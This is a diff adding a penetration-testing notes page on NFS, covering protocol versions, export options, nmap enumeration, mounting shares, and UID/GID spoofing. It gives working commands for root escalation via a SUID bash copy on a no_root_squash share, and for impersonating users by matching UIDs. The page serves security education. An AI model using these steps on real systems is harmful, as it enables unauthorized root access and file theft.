|
| 1 | +--- |
| 2 | +title: NFS |
| 3 | +description: Network File System |
| 4 | +categories: [Services] |
| 5 | +tags: [Services, NFS] |
| 6 | +weight: 2 |
| 7 | +--- |
| 8 | + |
| 9 | +## Service Info |
| 10 | +- Name: Network File System (NFS) |
| 11 | +- Purpose: Network Drive |
| 12 | +- Listening port: **111 TCP/UDP**, **2049 TCP/UDP** |
| 13 | +- OS: Unix-Like |
| 14 | + |
| 15 | +Network File System (NFS) is developed by Sun Microsystems in 1984, allowing a user to access files over the network as much like local storage. It builds on the **Open Network Computing Remote Procedure Call (ONC-RPC/SUN-RPC)** that listens on port 111 of both UDP and TCP. |
| 16 | + |
| 17 | +NFS versions: |
| 18 | +- NFSv2: Released in March 1989, Operates entirely via UDP |
| 19 | +- NFSv3: Released in Jun 1995, includes features such as variable file sizes and better error reporting. Not fully compatible with NFSv2 clients. |
| 20 | +- NFSv4: Released in December 2000, only listen on one TCP or UDP port 2049. It uses Kerberos Includes features such as Kerberos, ACLs, state-based operations, as well as performance and security improvements. |
| 21 | + |
| 22 | +NFSv2 and NFSv3 has **no mechanism for authentication**, relying on RPC's options. The most common method is via UNIX UID/GID and group memberships. However, the UID/GID mapping on the client versus the server are not guaranteed to be the same. For example, if user `bob` has UID 1000 on the client, and user `alice` has UID 1000 on the server, `bob` would be able to access files belonging to `alice`. Therefore, NFSv2 and NFSv3 should **only be used in secured local networks**. |
| 23 | + |
| 24 | +NFSv4 has rectified this by using kerberos for authentication. In additional, it also supports **Access Control Lists (ACLs)** and changed from being a **stateless** protocol in NFSv2 and NFSv3 to being a **stateful** protocol. NFSv4 marks a major evolution over the NFSv3. It now has a different, more modern security model. |
| 25 | + |
| 26 | +## NFS Server Configuration |
| 27 | +The `/etc/exports` file contains a table of filesystem paths accessible by clients. The default contains comments with example configurations. |
| 28 | +```txt |
| 29 | +# /etc/exports: the access control list for filesystems which may be exported |
| 30 | +# to NFS clients. See exports(5). |
| 31 | +# |
| 32 | +# Example for NFSv2 and NFSv3: |
| 33 | +# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check) |
| 34 | +# |
| 35 | +# Example for NFSv4: |
| 36 | +# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check) |
| 37 | +# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check) |
| 38 | +``` |
| 39 | + |
| 40 | +Configuration options: |
| 41 | +- **rw**: Read and write permissions. |
| 42 | +- **ro**: Read only permissions. |
| 43 | +- **sync**: Synchronous data transfer. (A bit slower) |
| 44 | +- **async**: Asynchronous data transfer. (A bit faster) |
| 45 | +- **secure**: Ports above 1024 will not be used. |
| 46 | +- **insecure**: Ports above 1024 will be used. |
| 47 | +- **no_subtree_check**: This option disables the checking of subdirectory trees. |
| 48 | +- **root_squash**: Assigns all permissions to files of root UID/GID 0 to the UID/GID of anonymous, which prevents root from accessing files on an NFS mount. |
| 49 | +- **nohide (DANGEROUS)**: Exposes nested mounts, which can unintentionally leak sensitive FS segments. |
| 50 | +- **no_root_squash (DANGEROUS)**: All files created by root are kept with the UID/GID 0. |
| 51 | + |
| 52 | +## Footprinting |
| 53 | +Nmap scan with default scripts runs `rpcinfo` when rpcbind is found, which retrieves a list of running RPC services, their names and descriptions, as well as the ports they're using. |
| 54 | +```shell-session |
| 55 | +$ sudo nmap 10.129.14.128 -p111,2049 -sV -sC |
| 56 | +
|
| 57 | +Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-19 17:12 CEST |
| 58 | +Nmap scan report for 10.129.14.128 |
| 59 | +Host is up (0.00018s latency). |
| 60 | +
|
| 61 | +PORT STATE SERVICE VERSION |
| 62 | +111/tcp open rpcbind 2-4 (RPC #100000) |
| 63 | +| rpcinfo: |
| 64 | +| program version port/proto service |
| 65 | +| 100000 2,3,4 111/tcp rpcbind |
| 66 | +| 100000 2,3,4 111/udp rpcbind |
| 67 | +| 100000 3,4 111/tcp6 rpcbind |
| 68 | +| 100000 3,4 111/udp6 rpcbind |
| 69 | +| 100003 3 2049/udp nfs |
| 70 | +| 100003 3 2049/udp6 nfs |
| 71 | +| 100003 3,4 2049/tcp nfs |
| 72 | +| 100003 3,4 2049/tcp6 nfs |
| 73 | +| 100005 1,2,3 41982/udp6 mountd |
| 74 | +| 100005 1,2,3 45837/tcp mountd |
| 75 | +| 100005 1,2,3 47217/tcp6 mountd |
| 76 | +| 100005 1,2,3 58830/udp mountd |
| 77 | +| 100021 1,3,4 39542/udp nlockmgr |
| 78 | +| 100021 1,3,4 44629/tcp nlockmgr |
| 79 | +| 100021 1,3,4 45273/tcp6 nlockmgr |
| 80 | +| 100021 1,3,4 47524/udp6 nlockmgr |
| 81 | +| 100227 3 2049/tcp nfs_acl |
| 82 | +| 100227 3 2049/tcp6 nfs_acl |
| 83 | +| 100227 3 2049/udp nfs_acl |
| 84 | +|_ 100227 3 2049/udp6 nfs_acl |
| 85 | +2049/tcp open nfs_acl 3 (RPC #100227) |
| 86 | +MAC Address: 00:00:00:00:00:00 (VMware) |
| 87 | +
|
| 88 | +Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . |
| 89 | +Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds |
| 90 | +``` |
| 91 | + |
| 92 | +Nmap also includes scripts written to enumerate NFS. |
| 93 | +- `nfs-ls` lists the contents of the share |
| 94 | +- `nfs-showmount` lists available shares and which clients are allowed to connect |
| 95 | +- `nfs-statfs` shows the stats on each share |
| 96 | +```shell-session |
| 97 | +$ sudo nmap --script nfs* 10.129.14.128 -sV -p111,2049 |
| 98 | +
|
| 99 | +Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-19 17:37 CEST |
| 100 | +Nmap scan report for 10.129.14.128 |
| 101 | +Host is up (0.00021s latency). |
| 102 | +
|
| 103 | +PORT STATE SERVICE VERSION |
| 104 | +111/tcp open rpcbind 2-4 (RPC #100000) |
| 105 | +| nfs-ls: Volume /mnt/nfs |
| 106 | +| access: Read Lookup NoModify NoExtend NoDelete NoExecute |
| 107 | +| PERMISSION UID GID SIZE TIME FILENAME |
| 108 | +| rwxrwxrwx 65534 65534 4096 2021-09-19T15:28:17 . |
| 109 | +| ?????????? ? ? ? ? .. |
| 110 | +| rw-r--r-- 0 0 1872 2021-09-19T15:27:42 id_rsa |
| 111 | +| rw-r--r-- 0 0 348 2021-09-19T15:28:17 id_rsa.pub |
| 112 | +| rw-r--r-- 0 0 0 2021-09-19T15:22:30 nfs.share |
| 113 | +|_ |
| 114 | +| nfs-showmount: |
| 115 | +|_ /mnt/nfs 10.129.14.0/24 |
| 116 | +| nfs-statfs: |
| 117 | +| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink |
| 118 | +|_ /mnt/nfs 30313412.0 8074868.0 20675664.0 29% 16.0T 32000 |
| 119 | +| rpcinfo: |
| 120 | +| program version port/proto service |
| 121 | +| 100000 2,3,4 111/tcp rpcbind |
| 122 | +| 100000 2,3,4 111/udp rpcbind |
| 123 | +| 100000 3,4 111/tcp6 rpcbind |
| 124 | +| 100000 3,4 111/udp6 rpcbind |
| 125 | +| 100003 3 2049/udp nfs |
| 126 | +| 100003 3 2049/udp6 nfs |
| 127 | +| 100003 3,4 2049/tcp nfs |
| 128 | +| 100003 3,4 2049/tcp6 nfs |
| 129 | +| 100005 1,2,3 41982/udp6 mountd |
| 130 | +| 100005 1,2,3 45837/tcp mountd |
| 131 | +| 100005 1,2,3 47217/tcp6 mountd |
| 132 | +| 100005 1,2,3 58830/udp mountd |
| 133 | +| 100021 1,3,4 39542/udp nlockmgr |
| 134 | +| 100021 1,3,4 44629/tcp nlockmgr |
| 135 | +| 100021 1,3,4 45273/tcp6 nlockmgr |
| 136 | +| 100021 1,3,4 47524/udp6 nlockmgr |
| 137 | +| 100227 3 2049/tcp nfs_acl |
| 138 | +| 100227 3 2049/tcp6 nfs_acl |
| 139 | +| 100227 3 2049/udp nfs_acl |
| 140 | +|_ 100227 3 2049/udp6 nfs_acl |
| 141 | +2049/tcp open nfs_acl 3 (RPC #100227) |
| 142 | +MAC Address: 00:00:00:00:00:00 (VMware) |
| 143 | +
|
| 144 | +Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . |
| 145 | +Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds |
| 146 | +``` |
| 147 | + |
| 148 | +## Mounting NFS |
| 149 | +We can create a mount on our local filesystem for an NFS share. The protocol abstractions allows us to work on it as if it's part of our filesystem structure. First, we use `showmount` to enumerate available mounts on the server. |
| 150 | +{{% alert title="Note" %}}`showmount` relies on the `mountd` RPC call. In modern hardened NFS servers, this is often disabled. If you see nothing returned as a result of the following command, it does not *necessarily* mean there are no shares available. {{% /alert %}} |
| 151 | +```shell-session |
| 152 | +$ showmount -e 10.129.14.128 |
| 153 | +
|
| 154 | +Export list for 10.129.14.128: |
| 155 | +/mnt/nfs 10.129.14.0/24 |
| 156 | +``` |
| 157 | +Then, we create a directory as the mounting point, and then use it to mount the share. |
| 158 | +```shell-session |
| 159 | +$ mkdir target-NFS |
| 160 | +$ sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock |
| 161 | +$ cd target-NFS |
| 162 | +$ tree . |
| 163 | +
|
| 164 | +. |
| 165 | +└── mnt |
| 166 | + └── nfs |
| 167 | + ├── id_rsa |
| 168 | + ├── id_rsa.pub |
| 169 | + └── nfs.share |
| 170 | +
|
| 171 | +2 directories, 3 files |
| 172 | +``` |
| 173 | +When we're done working with the NFS share, we can unmount it to prevent our filesystem from becoming unresponsive. |
| 174 | +```bash |
| 175 | +sudo umount ./target-NFS |
| 176 | +``` |
| 177 | + |
| 178 | +## NFS UID/GID Spoofing |
| 179 | +NFS servers are configured to trust the `uid` and `gid` of its clients (when Kerberos is not used). We can use this behavior to read and write files as **any UID**, even escalate our existing command execution . However, there are several settings that can change this behavior. |
| 180 | +- `all_squash`: Squashes all access mapping every user and group to `nobody`. |
| 181 | + ```shell-session |
| 182 | + $ whoami |
| 183 | + user |
| 184 | + $ touch nfs_share/user.txt |
| 185 | + $ ls -l nfs_share |
| 186 | + -rw-r--r-- 1 nobody nobody 0 Dec 5 16:46 user.txt |
| 187 | + ``` |
| 188 | +- `root_squash`: Only access with uid 0 (root) is squashed to `nobody`. This is the default configuration on Linux. |
| 189 | + ```shell-session |
| 190 | + $ whoami |
| 191 | + root |
| 192 | + $ touch nfs_share/root.txt |
| 193 | + $ ls -l nfs_share |
| 194 | + -rw-r--r-- 1 nobody nobody 0 Dec 5 16:46 root.txt |
| 195 | + ``` |
| 196 | +- `no_root_squash`: No squashing, all ownership information are preserved, including files owned by root. |
| 197 | + ```shell-session |
| 198 | + $ whoami |
| 199 | + root |
| 200 | + $ touch nfs_share/root.txt |
| 201 | + $ ls -l nfs_share |
| 202 | + -rw-r--r-- 1 root root 0 Dec 5 16:46 root.txt |
| 203 | + ``` |
| 204 | +{{% alert title="Note" %}} |
| 205 | +When an NFSv4 share is configured to use Kerberos, the NFS server no longer trust clients blindly and verifies their identities via Kerberos service tickets. This configuration would completely remediate ID spoofing attacks. However, NFSv4 configured with Kerberos is uncommon due to the complexity of setting up supporting infrastructure for Kerberos and the performance penalty. |
| 206 | +{{% /alert %}} |
| 207 | +
|
| 208 | +### Privilege Escalation |
| 209 | +If `no_root_squash` is set, we can escalate our existing command execution access to root if we have Read/Write access on the NFS share. This is achieved by creating a copy of `Bash` inside the NFS share with owner set to root and its SUID bit set since `-p` option of `Bash` tells it to execute as the owner of the file if SUID is set. |
| 210 | +
|
| 211 | +To conduct this attack, We mount the share as root, then create a root-owned copy of bash inside the share with SUID set. Finally we get a root bash shell when we executed the root SUID copy from the target. |
| 212 | +```bash |
| 213 | +# On attacker machine as root |
| 214 | +mkdir /mnt/nfs |
| 215 | +mount -t nfs <target>:<share> /mnt/nfs |
| 216 | +cp /bin/bash /mnt/nfs/bash |
| 217 | +chmod 4755 /mnt/nfs/bash |
| 218 | +``` |
| 219 | +```bash |
| 220 | +# On target machine |
| 221 | +./bash -p |
| 222 | +``` |
| 223 | +{{% alert title="Note" %}} If the OS of your machine differs from the server's, there might be a chance the copy of `/bin/bash` from your machine won't run on the server due to different library versions. When this occurs, we can instead copy `/bin/bash` from inside the server to the share directory, then `chown` it as root from our local machine. |
| 224 | +{{% /alert %}} |
| 225 | + |
| 226 | +### Lateral Movement |
| 227 | +If `no_root_squash` is not enable, we can still escalate our privilege to any non-root user on the system using a method similar to above. The main difference is that we now have to create a user on our local machine with the same UID as the user we want access to on the server. |
| 228 | + |
| 229 | +First we get the UID of the target user on the server. |
| 230 | +```shell-session |
| 231 | +user@target$ id victim |
| 232 | +uid=1111(victim) gid=1111(victim) groups=1111(victim) |
| 233 | +``` |
| 234 | + |
| 235 | +Next, we create a user on our local machine with the same UID. The `useradd` utility has a `-u` option for us to specify a custom UID. Then we use `sudo` to run a bash shell as that user on our local machine. |
| 236 | +```bash |
| 237 | +# On Local Machine as a sudo user |
| 238 | +sudo useradd -u 1111 victim_local |
| 239 | +sudo -u victim_local bash |
| 240 | +``` |
| 241 | +Now, we should be able to follow the rest of the UID/GID spoofing procedure above. |
| 242 | +```bash |
| 243 | +# On attacker machine as victim_local |
| 244 | +mkdir /mnt/nfs |
| 245 | +mount -t nfs <target>:<share> /mnt/nfs |
| 246 | +cp /bin/bash /mnt/nfs/bash |
| 247 | +chmod 4755 /mnt/nfs/bash |
| 248 | +``` |
| 249 | +```bash |
| 250 | +# On target machine |
| 251 | +./bash -p |
| 252 | +``` |
| 253 | + |
| 254 | +## References |
| 255 | +- [Hacktricks - NFS No Root Squash Misconfiguration Privilege Escalation](https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.html#nfs-no-root-squash-misconfiguration-privilege-escalation) |
| 256 | +- [Wikipedia - Network File System](https://en.wikipedia.org/wiki/Network_File_System) |
0 commit comments